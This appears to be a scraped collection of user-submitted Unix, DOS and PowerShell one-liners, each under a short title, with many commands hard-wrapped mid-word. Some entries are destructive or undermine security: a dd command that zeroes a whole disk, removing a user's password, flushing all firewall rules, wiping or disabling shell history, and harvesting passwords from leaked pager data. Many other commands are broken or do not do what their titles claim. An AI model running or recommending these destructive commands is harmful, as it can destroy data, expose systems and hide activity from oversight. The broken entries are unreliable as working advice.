FOR /F "tokens=3* delims=[]= " %A IN ('SET ARRAY[') DO ( echo %A )

# Selecting a random file/folder of a folder
IFS=$'\n'; LIST=`ls -1`; let TOT=`echo $LIST | wc -w`-1 ; array=( $LIST ); echo "S
elected ${array[ ($RANDOM % $TOT) ]}"

# Quick alias for case-insensitive grep
alias grip="grep -i"

# Random Number Between 1 And X
echo "$(od -An -N4 -tu4 /dev/urandom) % 5 + 1" | bc

# Selecting a random file/folder of a folder
echo Selected $(ls -1 | sort -R | head -n 1)

# MS-DOS only: Loop over array of system variable with each var containing multi
ple values
FOR /F "tokens=3* delims=[]=," %A IN ('SET ARRAY[') DO ( echo %A -- %B )

# LSD: List directory files in current directory
ls -1 !* | /usr/bin/grep '^d'

```

```

# print crontab entries for all the users that actually have a crontab
for USER in `ls /var/spool/cron`; do echo "=== crontab for $USER ==="; echo $USER; done

# Press Any Key to Continue
echo -n "Press any key to continue..." && read

# Lists all listening ports together with the PID of the associated process
netstat -tunlp

# find all references to a server in web.config files with powershell
ls \\someserver\c$\inetpub\wwwroot -r -i web.config | Select-String "SomeMachineName"

# Replace tabs with spaces in file
cat file_with_tabs.txt | perl -pe 's/\t/ /g'

# Randomize the order of lines in a text file.
awk 'BEGIN {srand()} {print int(rand()*1000000) "\t" $0}' FILE | sort -n | cut -f 2-

# Read just the IP address of a device
ip addr|grep "inet "

# securely locate file and dir
slocate filename/dirname

# determine if a shared library is compiled as 32bit or 64bit
file -L <library> | grep -q '64-bit' && echo 'library is 64 bit' || echo 'library is 32 bit'

# rcs - local backup of any text configuration file before dangerous experiment with version control and comments
ci -l /etc/rc.conf

# Print a row of 50 hyphens
<alt+50>-

# Bash function to see if the day ends in "y"
function ends_in_y() { if [ `date +%A | sed -e 's/\(^.*\)\(.\$\)/\2/'` == "y" ]; then echo 1; else echo 0; fi }

# Play a random [album/movie] two rows down
mplayer "$(find . -maxdepth 2 -mindepth 2 -type d | grep -v '^.$' | sort -R | head -n1)"/*

# Removes Apple "garbage"
find . -name *DS_Store -exec echo rm {} \;

# How to run a specific command in remote server by ssh
ssh user@remotehost [anycommand] (i.e uptime,w)

# Delete everything on hda
dd if=/dev/zero of=/dev/hda bs=16M

# bind a web server in $PWD
python -c "import SimpleHTTPServer;SimpleHTTPServer.test()"

# last mounted device

```



```
mount |tail -1 | less -p "/dev/[^ ]*"

# Create a newFolder that is a symbolic link to another folder
ln -s /destinationTarget /sourceTarget/newFolder

# Update all GPG keys in your keyring
gpg --refresh-keys

# Open files of the same name in TextMate
mate - `find . -name 'filename'`

# How many Non-free software is on your machine ?
vrms

# list all file extensions in a directory
ls | perl -lne '++${lc $1} if /[.](.+)$/ {{ print for keys %x'

# to perform operation line by line in a file without using sed or awk
s=`head -$i fileName | tail -1`

# Overcome Bash's expansion order
mkdir ${1..10}

# List only hidden files
ls -ad .*

# Quickly make schema changes in Django
while true ; do scripts/bootstrap.py ; ./manage.py runserver ; done

# Execute a PHP script every 30 minutes using crontab
0,30 * * * * php -q /address/to/script.php

# Prepend string to filename
ls | while read -r FILE; do mv -v "$FILE" `echo "prependtext$FILE" `; done

# stores the number of lines of "file" in a variable to use in a loop
count=`wc -l file | cut -d ' ' -f1`

# Record live sound from soundcard input to FLAC
rec -c 2 -r 44100 -s -t wav - | flac --sign=signed --channels=2 --endian=big -
-sample-rate=44100 --bps=16 -f -o file.flac

# shell function to find duplicate lines in a series of files or in stdin
dups() { sort "$@" | uniq -d; }

# Delete tens of thousands of files at one go
rm -rf `ls | head -5000`

# remove the last of all html files in a directory
a=$(ls *html) && a=${a[$(expr ${#a[@]} - 1)]} && rm $a

# Show a script or config file without comments
sed -e '/^[[:blank:]]*#/d; s/[[:blank:]]*[[:blank:]]*#.*// ' -e '/^$/d' -e '/^\//\
/.*/d' -e '/^\//\*/d;^\ \* /d;^\ \*\/d' /a/file/with/comments

# View SuSE version
cat /etc/SuSE-release

# Jump to any directory below the current one
```

```
jd() { cd **/"$@"; }

# Copy files over network using compression
on the listening side: sudo nc -lp 2022 | sudo tar -xvf - and on the sending
side: tar -cvzf - ./* | nc -w 3 name_of_listening_host 2022

# shutdown pc in a 4 hours
sleep 4h && halt

# Play music radio from Z-103.5
mplayer http://38.100.101.69/CIDCFMAAC

# Redirecting stderr to file
<command> 2> <file>

# Compress and Backup a disk image
dd if=/dev/<device location> | gzip -c /<path to backup location>/<disk image na
me>.img.gz

# Enable passwordless login
passwd -d $USER

# How many lines in your c project?
find -name *.*[c|h] | xargs wc -l

# unzip file on local machine copy to remote machine with ssh
gzip -cd file.gz | ssh user@host 'dd of=~&file'

# Current host external IP
wget http://cmyip.com -O - -o /dev/null | awk '/\<title/ {print $4}'

# Convert *.mp3 files to *.wav for recording audio cd's
ls |while read line ; do mpg321 -w "$line.wav" "$line" ; done

# Check cobbler environment
cobbler check

# Remove password from any pdf in current or sub directories
for z in */*.pdf; do gs -q -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile="$z
new" -c .setpdfwrite -f "$z" mv "$z new" "$z"; done

# Encoding with base64
echo "Hello world" | base64

# flush cached dns lookups
ipconfig /flushdns

# Remove lines with matched string
for i in $(find . -iname '*.html'); do sed '/String/d' $i > $i-tmp; mv $i-tmp $i
; done

# Kill multiple instances of a running process
pgrep rouge-process | xargs sudo kill -9

# Read a gzipped text file directly with less.
less textfile.gz

# Generate load on your CPU
while true; do /bin/true; done
```

```
# Ultimate current directory usage command
ls -shF --color

# Get your external IP address
lynx --dump icanhazip.com

# Empty The Trash
alias trash="rm -fr ~/.local/share/Trash"

# Create Bootable USB from ISO file
xcopy D:\*.* /s/e/f E:\

# Remove packages by pattern on debian and based systems
sudo apt-get remove --purge `dpkg -l | awk '{print $2}' | grep gnome` && apt-get
autoremove

# Recursive when needed
rm strangedirs -rf

# Cut a large wordlist into smaller chunks
less file.lst | head -n 50000 > output.txt

# get basic information out of your computer
lspci

# parses the BIOS memory and prints information about all structures (or entry p
oints) it knows of.
biosdecode

# detect the Super I/O chip on your computer, tell you at which configuration po
rt it is located and can dump all the register contents.
superiotool

# Ultimate current directory usage command
O=$IFS;IFS=$'\n'; D=$(for f in *;do [[ -d $f ]] && du -sh "$f";done | sort -gr)
;F=$(for f in *;do [[ -f $f ]] && du -sh "$f";done | sort -gr);IFS=$O;echo "$D";
echo "$F"

# Alternative size (human readable) of directories (biggest first)
function duf { du -k @$ | sort -rn | perl -ne '($s,$f)=split(/\t/, $_, 2);for(qw(K
M G T)){if($s<1024){$x=($s<10?"%.1f":"%3d");printf("$x$_\t%s", $s, $f);last};$s/=
1024}' }

# System load information alongside process information in a similar style to to
p.
atop

# Clear your history saved into .bash_history file!
echo "" > .bash_history

# kill a windows process
taskkill /F /im notepad.exe

# Mailing from Vim
w: !mailx -s "Some subject" user@host.com

# Reproduce test failure by running the test in loop
(set -e; while true; do TEST_COMMAND; done) | tee log
```

```

# Remove executable bit from all files in the current directory recursively, excluding other directories, firm permissions
find . -type f -exec chmod a-x {} \;

# Filenames ROT13
ls *.* | while read ITEM; do mv "$ITEM" "`echo $ITEM | rot13`${ITEM:(-4)}"; done

# remove unneeded configuration files in debian
dpkg-query -l | grep -v "ii " | grep "rc " | awk '{print $2" "' | tr -d "\n" | xargs aptitude purge -y

# Are the two lines anagrams?
s(){ sed 's/./\n\0/g'<<<$1|sort;};cmp -s <(s foobar) <(s farboo)||echo -n "not " ;echo anagram

# Get average ping(1) time from a host
ping -qc 10 server.tld | awk -F/ '/^rtt/ {print $5}'

# Print last modified time in 'date -- file' format
ls -alt /directory/ | awk '{ print $6 " " $7 " -- " $9 }'

# Kill process by searching something from 'ps' command
ps h -o pid,command | grep 'TEXT' | sed 's/^ \+//' | cut -d ' ' -f 1 | xargs -n 1 kill

# Enable Hibernate in OS X
sudo pmset -a hibernatemode 1

# best command for searching files
find / -name \*string\*

# Remove current directory
removedir () { echo "Deleting the current directory $PWD Are you sure?"; read human; if [[ "$human" = "yes" ]]; then blah=$(echo "$PWD" | sed 's/ /\ \ /g'); foo=$(basename "$blah"); rm -Rf ../$foo/ && cd ..; else echo "I'm watching you" | pv -qL 10; fi; }

# Ignore the specified signal
trap '' 1 2 20 24(signal number)

# Quick scrape of recent mobile home dir file sync for Mac Admins - tested with shell: bash, Mac OSX 10.5
tail -n 20 ~/Library/Logs/FileSyncAgent.log

# Display a random man page
(cd /bin; set -- *; x=$((1+($RANDOM % $#))); man ${!x})

# Open files in tabs with vim
vim -p file1 file2 [...]

# View your machine firewall settings
iptables -L -n -v

# omit grep
ps aux | grep [c]ommandname

# Random password generating function
mkpasswd() { head -c $((($1)) /dev/urandom | uuencode - | sed -n 's/./;/;2s/\(.\\{'$1'\}\)\.*/\1/p' ;}

```

```

# Defragment SQLite databases used by Firefox/Win32 and other software.
for /f "delims==" %a in (' dir "%USERPROFILE%\*.sqlite" /s/b ') do echo vacuum;|
"sqlite3.exe" "%a"

# Generate a Random MAC address
macchanger --random interface

# Bash logger
echo -en "$USER@$HOSTNAME:${PWD##*/}> ";while read x;do echo $x>>/tmp/log.txt;ec
ho $x|&0 2>&1;echo -en "$USER@$HOSTNAME:${PWD##*/}> ";done

# Display a random man page
man $(ls -l /usr/share/man/man?/ | shuf -n1 | cut -d. -f1)

# Cowsay Random Cowfile
files=(/usr/share/cowsay/cows/*); cowsay -f `echo ${files[$((RANDOM%${#files}))]}
` <TEXT>

# journaling directories
mkdir `date | sed 's/[[: ]/_/g`

# Get Futurama quotations from slashdot.org servers
echo -e "HEAD / HTTP/1.1\nHost: slashdot.org\n\n" | nc slashdot.org 80 | head -n
5 | tail -1 | cut -f2 -d-

# Play random playlist
gstl23 -z **/*

# Read aloud a text file in Mac OS X
say `cat /path/to/textfile.txt`

# Remove all files previously extracted from a tar(.gz) file.
for i in $(tar -tf <file.tar.gz>); do rm $i; done;

# Combining text files into one file
cat file1 ... fileN > combinedFile;

# Show the number of current httpd processes
top -b -n 1 |grep httpd|wc -l

# Polls for network port usage
while sleep 1; do date; (netstat -a -n | grep 80) ; done

# Add a list of numbers
awk '{total+=$0}END{print total}' file

# SVN Clean
svn-clean

# /bin/rm: Argument list too long.
find . -name 'spam-*' |xargs rm;find . -name 'spam-*' -print0 | xargs -0 rm

# Show the single most recently modified file in a directory
lastfile () { find ${1:-.} -maxdepth 1 -type f -printf "%T+ %p\n" | sort -n | ta
il -n1 | sed 's/^[[:space:]]+ //' ; }

# Generate a random password 32 characters long :)
date | md5sum

```

```

# Figure out what shell you're running
echo $SHELL

# Real full backup copy of /etc folder
cp -a /etc /destination

# kill all running instances of wine and programs runned by it (exe)
ps ax > processes && cat processes | egrep "*.exe |*exe]" | awk '{ print $1 }' >
pstokill && kill $(cat pstokill) && rm processes && rm pstokill

# Common key binding for 'less' to search for a string
less file.ext

# Move files around local filesystem with tar without wasting space using an int
ermediate tarball.
tar -C <source_dir> -cf . | tar -C <dest_dir> -xf

# Emptying a text file in one shot in VIM
:!!>test.txt

# Creating a pseudo-random password
perl -e 'print crypt("PASSWORD",int(rand(128))).$/'

# count occurences of each word in novel David Copperfield
wget -q -O- http://www.gutenberg.org/dirs/etext96/cprfd10.txt | sed '1,419d' |
tr "\n" " " | tr " " "\n" | perl -lpe 's/\W//g;$_=lc($_) ' | grep "^[a-z]" | awk
'length > 1' | sort | uniq -c | awk '{print $2"\t"$1}'

# extract a certain number of lines from a file and dump them to another file
grep '' -m X file1 > file2

# See smbstatus all the time
while (( $i != 0 )) { smbstatus; sleep 5; clear }

# !$ - The last argument to the previous command
svn status app/models/foo.rb; svn commit -m "Changed file" !$

# Display default values on Foundry (Brocade) RX and MLX BigIron L3 (routers & s
witches)
sh default values

# Dispaly a bunch of Info. on Foundry (Brocade) RX and MLX BigIron L3 (routers &
switches)
dm ?

# Find all jpgs on the PC (DOS command)
for %f in (c) do dir %f:\*.jpg /s /p

# Mac OS X command line hilarity
say sofa king great

# change your PS1 to look better :)
newhostname=$(hostname | awk -F. '{print $1 "." $2}'); ipaddress=$(nslookup `hos
tname` | grep -i address | awk -F" " '{print $2}' | awk -F. '{print $3 "." $4}'
| grep -v 64.142);PS1="[`id -un`. $newhostname.$ipaddress]"' (${PWD}): '; export
PS1

# Copy a file over SSH without SCP
uencode -m <filename> <filename>

```

```

# Find the files that include a TODO statement within a project
grep --exclude-dir=.svn --exclude=*~ -i "TODO" -rl .

# delete first X lines of a file
sed '1,55d'

# Ping 10 times then quit
ping -c 10 hostname

# Recursively grep thorough directory for string in file.
find directory/ |xargs grep -i "phrase"

# Recursively remove all .svn directories
find . -name .svn -type d | parallel rm -rf

# Function to solve a simple combinatorial maths puzzle from the command line
marbles () { c=''; for i in $(seq $1); do c+='{b,r}'; done; x=$(eval echo $c); p
=''; for i in $(seq $2); do p+='b*r'; done; y=$(grep -wo "${p}b*" <<< $x); wc -l
<<< "$y"; grep -vc 'rr' <<< "$y"; }

# find all processes named hunger and force kill, minus the grep itself and outp
ut to a file called fu.bar
ps -auwx|egrep hunger|grep -v grep| awk '{print "kill -9",$1}' > ~/fu.bar

# run a previous command
!previous_command

# Expand tabs
function expand-tabs() { expand -t 8 "$1" > "$1.expanded"; mv -f "$1.expanded" "
$1"; }

# Replace spaces with tabs & format file source recursively within a directory
find . -type f -name \*.php | while IFS="" read i; do expand -t4 "$i" > "$i-"; m
v "$i-" "$i"; done

# Find which version of Linux You are Running
lsb_release -d

# Display RSTP (802.1W) Info. on on Foundry (Brocade) RX and MLX BigIron L3 (rou
ters & switches)
show 802-1w

# A death cow thinking in your fortune cookie
fortune -s -c -a | cowthink -d -W 45

# zip all files in a directory, one file per zip
for i in $( find . ); do echo zipping file: $i zip $i.zip $i done

# df without line wrap on long FS name
alias df="df | awk 'NF == 1 {printf(\\$1); next}; {print}'"

# unzip all .zip files in /example/directory
cd /example/directory && unzip \*.zip

# Blue Matrix
while ;; do integer i=0; COL=$((RANDOM%$(tput cols))); ROW=$((RANDOM%$(tput cols
))); while (( i <= COL)) do tput cup $i $ROW; echo "\033[1;34m" $(cat /dev/urand
om | head -1 | cut -c1-1) 2>/dev/null; i=$((expr $i + 1)); done done

```

```
# Download a file securely via a remote SSH server
scp $user@$server:$path/to/file .

# grep 'hoge' **/* => Argument list too long
echo **/* | xargs grep 'hoge'

# List dot-files and dirs, but not . or ..
ls .??*

# This generates a unique and secure password with SALT for every website that y
ou login to
sitepass2() {salt="this_salt";pass=`echo -n "$@"`;for i in {1..500};do pass=`ech
o -n $pass$salt|sha512sum`;done;echo$pass|gzip -|strings -n 1|tr -d "[:space:]"|
tr -s '[:print:]' |tr '!~' 'P~!~0'|rev|cut -b 2-15;history -d $((HISTCMD-1));
}

# grep 'hoge' **/* => Argument list too long
grep -r hoge .

# Rename files that have number, space and hyphen
for f in * ; do mv -- "$f" "${f/[0-9][0-9] \- /}" ; done

# grep 'hoge' **/* => Argument list too long
ack hoge .

# set the system date
rdate -s time-A.timefreq.bldrdoc.gov

# create a detached signature for file.txt
gpg -ab file.txt

# Graphical display of wireless links
wmmwave

# verify a file using its detached signature
gpg --verify file.txt.asc file.txt

# decrypt file.txt.gpg using my private key
gpg -d file.txt.gpg -o file.txt

# Quick findstring recursively in dirs (Alias from long find with xargs cmd)
alias findstring="find . -type f -print | xargs grep $1"

# Random Password Generator (uses all chars, no repeated chars)
for i in {21..79};do echo -e "\x$i";done | tr " " "\n" | shuf | tr -d "\n"

# The 1 millionth fibonacci number
gcc -x c -o /tmp/out - -lgmp <<< '#include <stdlib.h> ... SEE SAMPLE OUTPUT FOR
FULL COMMAND

# kill process by name
pkill

# small one-line loop, change for different taste :P
for FILE in $(ls); do [COMMAND]; done

# Remove rpm package by pattern
yum erase `yum list installed | grep 'php'`
```



```

# yesterday
perl -lne 'use POSIX; print strftime("%Y-%m-%d", localtime(time() - 86400));'

# full cpu info (linux)
cat /proc/cpuinfo

# Equivalent to ifconfig -a in HPUX
for i in `netstat -rn |grep lan |cut -c55-60 |sort |uniq`; do ifconfig $i; done

# It outputs a given line from a file
awk 'NR==linenumber' filename

# Visit wikileaks.com
echo 213.251.145.96 wikileaks.com | sudo tee -a /etc/hosts

# Snmpwalk a hosts's entire OID tree with SNMP V3 without Authentication or Privacy
snmpwalk -v3 -On -u <user> -l NoAuthNoPriv -m ALL <HOST_IP> .

# Monitor Applications application that are connected/new connections
while true; do netstat -p |grep "tcp"|grep --color=always "[a-z]*";sleep 1;done

# Snmpwalk a hosts's entire OID tree with SNMP V3 with MD5 Authentication and without Privacy
snmpwalk -v3 -On -u <user> -l AuthNoPriv -a MD5 -A <auth_password> -m ALL <HOST_IP> .

# Snmpwalk a hosts's entire OID tree with SNMP V3 with SHA Authentication and without Privacy
snmpwalk -v3 -On -u <user> -l AuthNoPriv -a SHA -A <auth_password> -m ALL <HOST_IP> .

# Get My Public IP Address
links2 -dump http://checkip.dyndns.com | cut -d ' ' -f7

# Snmpwalk a hosts's entire OID tree with SNMP V3 with SHA Authentication and with Privacy
snmpwalk -v3 -On -u <user> -l AuthPriv -a SHA -A <auth_password> -X <encryption_password> -m ALL <HOST_IP> .

# Removes the .svn entries from a project
find -name ".svn" -exec rm -rf {} \;

# recursively change file name from uppercase to lowercase (or viceversa)
find . -type d -name '*[A-Z]*' -execdir bash -c '! test -f "$(echo "$0" | tr "[:upper:]" "[:lower:]")" {} \; -execdir bash -c 'mv "$0" "$(echo "$0" | tr "[:upper:]" "[:lower:]")" {} \;'

# test connection if ICMP is disabled
telnet <ip> <port>

# &#1089;&#1082;&#1072;&#1095;&#1072;&#1090;&#1100; &#1089;&#1072;&#1081;&#1090;
wget -r -k -l 7 -p -E -nc http://site.com/

# redirect wget output to the terminal, instead of a file
wget -q -O - "$@" <url>

# Lists installed kernels
rpm -qf /lib/modules/*

```

```

# Get your external IP address
echo -e "GET /automation/n09230945.asp HTTP/1.0\r\nHost: whatismyip.com\r\n" | nc whatismyip.com 80 | tail -n1

# Shows users and 'virtual users' on your a unix-type system
sudo lsof|sed 's/ */ /g'|cut -f3 -d' '|sort -u

# Quickly assess quality of project by greping the SVN commit logs
svn log | grep "bodge\\|fudge\\|hack\\|dirty"

# rgrep: recursive grep without .svn
grep query -r . --exclude-dir=.svn

# Listen to the OS X system's voices
for person in Alex Bruce Fred Kathy Vicki Victoria ; do say -v $person "Hello, my name is $person"; sleep 1; done

# sets volume via command line
amixer -c 0 set PCM 2dB+

# Kill a process with its name
ps -u $USER |grep $1 | awk '{ print $1}'| xargs kill

# View the newest xkcd comic.
echo alias xkcd="gwenview `w3m -dump http://xkcd.com/|grep png | awk '{print $5}' ` 2> /dev/null" >> .bashrc

# Convert HH:MM:SS into seconds
TZ=GMT date -d "1970/01/01 00:29:36" +%s

# Search all files of type *.php for string 'specialFunction' and output the result in searchResult.txt
find . -name "*.php" | xargs egrep -i -s 'specialFunction' > searchresult.txt

# Convert HH:MM:SS into seconds
date -ud "1970/01/01 00:29:36" +%s

# simple echo of IPv4 IP addresses assigned to a machine
ifdata -pa eth0

# convert permissions in ls to octal
ls -l | sed -e 's/--x/1/g' -e 's/-w-/2/g' -e 's/-wx/3/g' -e 's/r--/4/g' -e 's/r-x/5/g' -e 's/rw-/6/g' -e 's/rwx/7/g' -e 's/---/0/g'

# Calculate the the last day of a month +/- from current month
date -j -v1d -v-0m -v-1d +%m %d %Y'

# Super Paste
(echo "" | xsel -o) ; (programa | wgetpaste -s dpaste | awk '{print $7}' | xsel -ai)

# Get your external IP address
wget -q -O - checkip.dyndns.org|sed -e 's/.*Current IP Address: //' -e 's/<.*$//
'

# Search Google from the command line and return the first result.
The command is too big to fit here. :( Look at the description for the command,
in readable form! :)

```

```
# Show the meta information on a package (dependency , statuts ..) on debian der
ivative distro
aptitude show packages_name

# Unzip multi-part zip archive
tar -xvf archive.zip

# clean up memory on linux (fedora)
sync; echo 3 > /proc/sys/vm/drop_caches

# Even better Cowsay/Fortune
cowsay `fortune` | toilet --gay -f term

# declare variable as integer
declare -i aa ; aa=3*8 ; echo $aa

# Do an OR search using grep to look for more than one search term
grep -E 'string-1|string-2|regexp-1|regexp-n' <filename>

# Always run apt-get as root
alias apt-get='sudo apt-get'

# Text to ascii art
figlet gunslinger_

# Unzip all files with ".zip" extension.
unzip \*.zip

# Run every command on a directory
for i in *; do [[ ! -d $i && -x $i ]] && ./"$i" & done

# Quick setup to list all directory contents by time reversed sort... most recen
t change last.
alias ltr 'ls -altr'

# Remove a symbolic link
unlink <linkname>

# Search google from the command line in Unofficial google shell
http://goosh.org

# Remove executable bit from all files in the current directory recursively, exc
luding other directories
find . -type f | while read f; do chmod -x "$f"; done

# Output all Files in Directory w/ Details to Filelist
ls -laR > /path/to/filelist

# When you have time to consume
moon-buggy

# Executes a command changing an environment variable
VARIABLE="VALUE" COMMAND

# use a literal bang (exclamation point) in a command
echo '!whammy

# Pick a random line from a file
```

```
head -${(($RANDOM % $(wc -l < file.txt) +1))} file.txt | tail -1

# Export you history to nowhere
export HISTFILE=/dev/null/

# Find the process you are looking for minus the grepped one
ps aux | grep process-name | grep -v "grep"

# Back Up a disk to an image in your home directory
dd if=/dev/sda of=~/.backup-disk-YY-MM-DD.img

# use ImageMagik to convert tint (hue rotation) of an icon set directory.
/bin/ls *.png | xargs -l1 -I {} convert {} -modulate 100,100,70 ../../icons/32x32/{}

# Skipping tests in Maven
mvn -Dmaven.test.skip=true install

# Prepend string to filename
for i in *; do mv $i prependtext$i; done

# Find String
grep -iR find_me ./

# compile openvm-tools
m-a a-i open-vm

# find out public ip address by using any host that have 'efingerd -n'
finger @www.linuxbanks.cn | grep -oE '([[:digit:]]{1,3}\.){3}[[:digit:]]{1,3}' | head -n1

# Get filename from a full file path
for /F %G in ('dir /b c:\Windows\system32\notepad.exe') do ( echo %G )

# Pick a random line from a file
shuf file.txt | head -n 1

# Start xterm in given directory
xterm -e "cd /my/directory; bash"

# Start xterm in given directory
( cd /my/directory; xterm& )

# Remove all unused kernels with apt-get
aptitude purge linux-image | grep ^i | grep -v $(uname -r)

# Chmod all directories (excluding files)
chmod 755 $(find public_html -type d)

# Check processes runned not by you
ps aux | grep -v `whoami`

# Use php and md5 to generate a password
php -r 'echo md5("password") . "\n";'

# display most recently modified files
ls -l|awk '{print $6,$8}'|sort -d

# download file1 file2 file3 file4 .... file 100
for file in $(seq -f '%03.f' 1 $TOTAL); do echo "($file/$TOTAL)"; curl -f -O ht
```

```

tp://domain.com/Name_$(file).ext; done

# make 100 directories with leading zero, 001...100, using bash3.X
mkdir 0{0..9}{0..9};mv 000 100

# Kills MYWIFE.
pkill -U MYWIFE

# List all executable files in the current directory
ls -F | grep '\*\*' | sed '\s/\*\$//\'

# Print the ten largest files
ls -Sl * | head

# Chmod directories to add executable & read permission to the group safely
sudo chmod -R g=u-w,g+X *

# Convert the first character of a string to uppercase
echo 'example' | sed -e 's/^(.)/\U1/'

# List the size (in human readable form) of all sub folders from the current location
ls | xargs du -sh

# Delete all files more than 7 days old
rm -rf `find -maxdepth 1 -mindepth 1 -mtime +7`

# Create a list of sequential logins
seq -w 100 | sed 's/^/login/'

# Creates a minimalist xorg.conf
dpkg-reconfigure -phigh xserver-xorg

# #
# indicates a comment in shell

# fb
lynx -useragent=Opera -dump 'http://www.facebook.com/ajax/typeahead_friends.php?u=4&__a=1' |gawk -F'\t\':"\' -v RS='\",' 'RT{print $NF}' |grep -v '\n\':"\' |cut -d, -f2

# Replace text in several files
perl -p -i -e ?s/New/Old/g? *.html

# create a big file
dd if=/dev/zero of=/tmp/bigfile bs=1024k count=100

# Geo Weather
curl -s http://www.google.com/ig/api?weather=$(curl -s "http://api.hostip.info/get_html.php?ip=$(curl -s icanhazip.com)" | grep City | sed 's/City: \(.*\)/\1/' | sed 's/ /%20/g' | sed "s/'/%27/g") | sed 's|.*<temp_f data="\([^"]*\)">.*|\1\n|'

# Forget remembered path locations of previously ran commands
rehash

# open man page of last used command
man !!

```

```

# check if your processor is 32 or 64 bit
uname -m

# list connected usb devices
lsusb

# Merge - Concatenate MP3 files
# cat file1.mp3 file2.mp3 > file3.mp3

# Execute external code
source filename_script.sh

# Display a random man page
man $(/bin/ls /bin | awk '{ cmd[i++] = $0 } END { srand(); print cmd[int(rand()*length(cmd))]; }')

# run command with opposite return code
not () { "$@" && return 1 || return 0; }

# Reports size of all folders in the current folder. Useful when burning CD's and DVD's
export IFS=$'\n';for dir in $( ls -l | grep ^d | cut -c 52-);do du -sh $dir; done

# Replace spaces with newlines
cat file.txt|perl -ne '$_ =~ s/\s+/\n/g; print $_;'

# Whois on target and save results to file instantly
x=192.168.1.1; whois $x > $x.txt

# Generate MD5 hash for a string
printf "$string" | md5sum

# delete files except some file
find . |more |grep -v filename |xargs rm

# To print a specific line from a file
awk '{if (NR == 3) print}' <file>

# Fibonacci numbers with awk
gawk '{n=$1;a=0;b=1;c=1;for(i=1;i<n;i++){c=a+b;a=b;b=c};print c}' << eof

# bat add copyright info
find . -name "*.c" -exec sed -i "/\sh/a\#####\n#
Date:2010-05-18\n#Company:XXXXX tech Co.\n#Author:Wangjunling\n#Copyright:gpl\n#
#####" {} \;

# Delete all firewall rules in a chain or all chains
iptables -F

# Remove current directory (REVISED)
removedir(){ read -p "Delete the current directory $PWD ? " human;if [ "$human"
= "yes" ]; then [ -z "${PWD##*/}" ] && { echo "$PWD not set" >&2;return 1;}; rm
-Rf ../"${PWD##*/}"/ && cd ../; else echo "I'm watching you" | pv -qL 10; fi; }

# netstat -p recoded (totally useless..)
p=$(netstat -nate 2>/dev/null | awk '/LISTEN/ {gsub (/.*/:/, "", $4); if ($4 == "
4444") {print $8}}'); for i in $(ls /proc/|grep "[1-9]"); do [[ $(ls -l /proc/$
i/fd/|grep socket|sed -e 's|.*\[\(.*\)\]|\1|' |grep $p) ]] && cat /proc/$i/cmdlin

```

```
e && echo; done

# Get your external IP address
wget -O - -q http://whatismyip.org/

# Learn searching and navigating in man like a boss
man <command> then type h

# Show the amount of space left on mounted harddrives
df -h

# Project Zipped
zip -r -9 /var/www/html/project.zip /var/www/html/project

# remove all CVS directories
find . -type d -name 'CVS' | xargs rm -r

# Recursively grep a subdirectory for a list of files
ls -1 static/images/ | while read line; do echo -n $line' '['; grep -rc $line *|g
rep -v ".svn"|cut -d":" -f2|grep -vc 0| tr "\n" -d; echo -n ]; echo ; done

# Connects to a telnet service monitoring Woot!
telnet zerocarbs.wooters.us

# Periodically loop a command
while true; do ifconfig eth0 | grep "inet addr:"; sleep 60; done;

# Kill any process with one command using program name
ps -ef|grep jboss | grep -v grep | awk '{print $2}'|xargs kill -9

# Oracle: set column separator
set colsep "{char}"

# Show the size of a directory
du -sh some/directory

# 3 Simple Steps to X11 Forward on Mac OS X
ssh -X johndoe@123.456.789

# View the newest xkcd comic.
xdg-open http://xkcd.com/

# Search gzipped files
zcat /usr/share/man/man1/grep.1.gz | grep "color"

# Find the process you are looking for minus the grepped one
psg() { ps aux | grep "[${1[1]}]${1[2,-1]}"; }

# Move large numbers of files
for f in *; do mv $f <target_path>; done;

# show your private/local ip address
ifconfig | grep addr:192 | sed s/Bcast.*// | sed 's/^. *inet addr:/'

# Convert a bunch of oggs into mp3s
for x in *.ogg; do ffmpeg -i "$x" "`basename "$x" .ogg`.mp3"

# Numerate files, rename files in a directory by incremental number
declare -i i; i=0; for file in *; do i=`expr $i+1`; mv "$file" $i; done;
```

```

# delete all .svn directory in a directory
rm -rf `find ./ -iname *.svn*`

# kills all processes for a certain program e.g. httpd
ps aux | grep 'httpd ' | awk {'print $2'} | xargs kill -9

# Find out your Debian version
cat /etc/debian_version

# convert .rpm to .deb using alien
sudo alien --to-deb Your_PackAge.rpm

# a find and replace within text-based files, for batch text replacement, not using perl
for file in `find . -iname "FILENAME"`; do cat $file | sed "s/SEARCH_STRING/REPLACE_STRING/" > $file.tmp; mv $file.tmp $file; done

# Truncate logs in unix
logs=$(find . -name *.log);for log in $logs; do cat /dev/null > $log;done

# Passwords from 9/11 tragedy pager intercepts (Yeah! Plain text! From wikileaks .net)
while true; do wget -r -l1 --no-clobber -A.txt http://911.wikileaks.org/files/index.html; done; cat *.txt | grep pass

# Find files and format them in detailed list
ls -l `locate your_search_here`

# Go to the Nth line of file
echo "13" | ed /etc/services

# Count your Twit length before posting
echo "<your twit>" | wc -c -

# Go to the Nth line of file
head -n 13 /etc/services | tail -n 1

# Get the 10 biggest files/folders for the current directory
ls -lrsa | tail

# Delete all files in current directory that have been modified less than 5 days ago.
find ./ -mtime -5 | xargs rm -f

# Backup a file before editing it.
sedit() { cp "$*" {, .bk}; which $EDITOR > /dev/null && $EDITOR "$*" || vim "$*";
}

# Fast install software in Ubuntu
alias agi='sudo apt-get install'

# Tar a subversion working copy...without all those hidden directories!
tar --exclude='.svn' -c -f /path/to/file.tar /path/to/directory

# sequence of numbers in a for loop
for f in `jot - 0 50 5` ; do ping -c 1 -m 50 10.0.2.$f ; done

# Copy with progress
pv file1 > file2

```



```

# Update your system every day at the lunch time (12:00)
(crontab -e) 00 12 * * * apt-get update (/etc/init.d/cron restart)

# Kill a background job
kill %1

# Checks your unread Gmail from the command line
curl -u username --silent "https://mail.google.com/mail/feed/atom" | perl -ne 'p
rint "\t" if /<name>/; print "$2\n" if /<(title|name)>(.*?)<\/\1>/;

# Starting the VPN service
sudo service vpnclient_init start

# Remove VIM temp files
find . -name "*~" -exec rm {} \;

# find a process id by name
ps aux | awk '/name/ {print $2}'

# change directory into '/'
cd //

# clear screen, keep prompt at eye-level (faster than clear(1), tput cl, etc.)
Ctrl+l

# exec option in find
find ~ -mtime +365 -exec mv {} /tmp/mybackup \;

# Replace square brackets to underscore in all filenames (current dir.)
perl -e 'map { $on=$_; s/\]/_/; rename($on, $_) or warn $!; } <*>;'

